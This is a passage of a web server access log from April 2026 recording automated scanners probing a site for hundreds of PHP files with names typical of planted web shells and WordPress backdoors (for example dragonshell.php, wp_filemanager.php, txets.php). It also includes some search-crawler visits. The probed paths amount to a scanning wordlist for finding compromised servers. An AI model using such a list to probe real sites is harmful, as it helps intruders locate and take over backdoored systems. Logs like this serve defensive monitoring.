HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:31:58 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:04 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:32 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:20 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:36 +0300] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:37 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:39 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:43 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:47 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:55 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:55 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:14 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:14 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:34:16 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 115.45.43.199 - - [23/Apr/2026:23:21:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.2854.66 UBrowser/6.2.3964.2 Safari/537.36" 207.46.13.230 - - [23/Apr/2026:22:03:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 20.166.9.204 - - [23/Apr/2026:22:31:38 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:07 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:33:24 +0300] "GET /wp-style.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:50 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:53 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:00 +0300] "GET /a332.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:11 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:11 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:42 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:42 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 40.77.167.230 - - [23/Apr/2026:22:03:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 20.166.9.204 - - [23/Apr/2026:22:31:29 +0300] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:50 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:32:53 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:32:55 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:17 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.166.9.204 - - [23/Apr/2026:22:33:20 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:43 +0300] "GET /xr.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /export.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:44 +0300] "GET /gdn.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /bootstrap.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /ws66.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /wp-style.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /zoo.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /wp-content/r.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:45 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:46 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:33:46 +0300] "GET /easy.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:19 +0300] "GET /to.php HTTP/1.1" 301 795 "-" "-" 13.74.146.113 - - [23/Apr/2026:22:34:24 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 20.123.33.13 - - [23/Apr/2026:22:34:29 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:15 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 147.224.165.246 - - [23/Apr/2026:23:42:24 +0300] "GET /file-manager/initialize HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 170.106.110.146 - - [24/Apr/2026:00:19:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:13 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:15 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:16 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:16 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:14 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 146.70.40.70 - - [24/Apr/2026:00:40:03 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:14 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.146 - - [24/Apr/2026:00:31:28 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:14 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 2.58.56.211 - - [24/Apr/2026:00:38:15 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 170.106.11.141 - - [24/Apr/2026:01:21:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.161.0.169 - - [24/Apr/2026:01:48:33 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:37 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:39 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:41 +0300] "GET /wp-lacoto.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:45 +0300] "GET /wp-kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:49 +0300] "GET /ganja.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:52 +0300] "GET /eetu.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:55 +0300] "GET /wp-X1s2e6h3p7.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:57 +0300] "GET /dragonshell.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:48:59 +0300] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:03 +0300] "GET /G-In.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:06 +0300] "GET /aj11.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:08 +0300] "GET /tires.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:12 +0300] "GET /xroot.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:15 +0300] "GET /tea.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:18 +0300] "GET /uwu.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:20 +0300] "GET /aios-bootstrap.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:23 +0300] "GET /one.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:25 +0300] "GET /006.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:28 +0300] "GET /kikikoko.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:31 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:34 +0300] "GET /11.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:36 +0300] "GET /amxloxxr.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:40 +0300] "GET /qhupyoon.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:42 +0300] "GET /dx.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:44 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:46 +0300] "GET /6ap7e.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:49 +0300] "GET /cilus.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:52 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:54 +0300] "GET /fone1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:57 +0300] "GET /zogy1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:49:59 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:01 +0300] "GET /atkno.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:20 +0300] "GET /admlo.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:23 +0300] "GET /f5.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:25 +0300] "GET /ptanf.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:29 +0300] "GET /ctex1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:56 +0300] "GET /fkohd.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:00 +0300] "GET /ws78.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:03 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:06 +0300] "GET /zo.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:09 +0300] "GET /xy.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:13 +0300] "GET /masks.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:33 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:35 +0300] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:38 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:43 +0300] "GET /bbny.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:08 +0300] "GET /sad8rd1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:10 +0300] "GET /saxzgf5.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:13 +0300] "GET /saxzw9t.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:15 +0300] "GET /sder5252u.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:18 +0300] "GET /sderty5u.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:20 +0300] "GET /hilk.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:22 +0300] "GET /miso.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:25 +0300] "GET /yuzuru1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:27 +0300] "GET /checkout.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:29 +0300] "GET /fictioner.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:32 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:34 +0300] "GET /xxa.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:36 +0300] "GET /file6.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:39 +0300] "GET /wp-asyn-upload.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:41 +0300] "GET /redixsx.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:43 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:46 +0300] "GET /bc.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:47 +0300] "GET /67.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:50 +0300] "GET /1mrX.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:53 +0300] "GET /x402.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:55 +0300] "GET /485.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:55:58 +0300] "GET /drykl.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:56:01 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 47.243.92.199 - - [24/Apr/2026:02:39:59 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 36.41.75.167 - - [24/Apr/2026:01:16:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.161.0.169 - - [24/Apr/2026:01:48:25 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:25 +0300] "GET /xfun.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:28 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:55 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:59 +0300] "GET /iov.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:03 +0300] "GET /jodohghi.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:16 +0300] "GET //man.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:33 +0300] "GET /vv.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:51:36 +0300] "GET /wpconf.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:07 +0300] "GET /rendi59.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:14 +0300] "GET /rivasqup.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:47 +0300] "GET /ggb.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:50 +0300] "GET /zhw.php HTTP/1.1" 301 795 "-" "-" 51.68.111.244 - - [24/Apr/2026:01:27:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 51.68.111.244 - - [24/Apr/2026:01:27:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.5; http://mj12bot.com/)" 172.161.0.169 - - [24/Apr/2026:01:54:02 +0300] "GET /test1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:06 +0300] "GET /bpxrn.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:09 +0300] "GET /a1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:11 +0300] "GET /ws37.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:13 +0300] "GET /sky.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:15 +0300] "GET /bojcdooq.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:18 +0300] "GET /zdd.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:20 +0300] "GET /133.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:23 +0300] "GET /jq.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:25 +0300] "GET /cro.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:27 +0300] "GET /wwx.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:30 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:34 +0300] "GET /blox.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:37 +0300] "GET /berax.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:08 +0300] "GET /de.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:13 +0300] "GET /insta.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:15 +0300] "GET /wpxl.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:41 +0300] "GET /ah25.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:44 +0300] "GET /w.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:45 +0300] "GET /axe.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:47 +0300] "GET /index0.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:49 +0300] "GET /wp-01ul.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:50:52 +0300] "GET /e3.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:19 +0300] "GET /mga.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:22 +0300] "GET /dshtv.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:24 +0300] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:52:28 +0300] "GET /temp1.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:42 +0300] "GET /bkxzo.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:44 +0300] "GET /cdxadmin.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:47 +0300] "GET /dfre.php HTTP/1.1" 301 795 "-" "-" 172.161.0.169 - - [24/Apr/2026:01:54:50 +0300] "GET 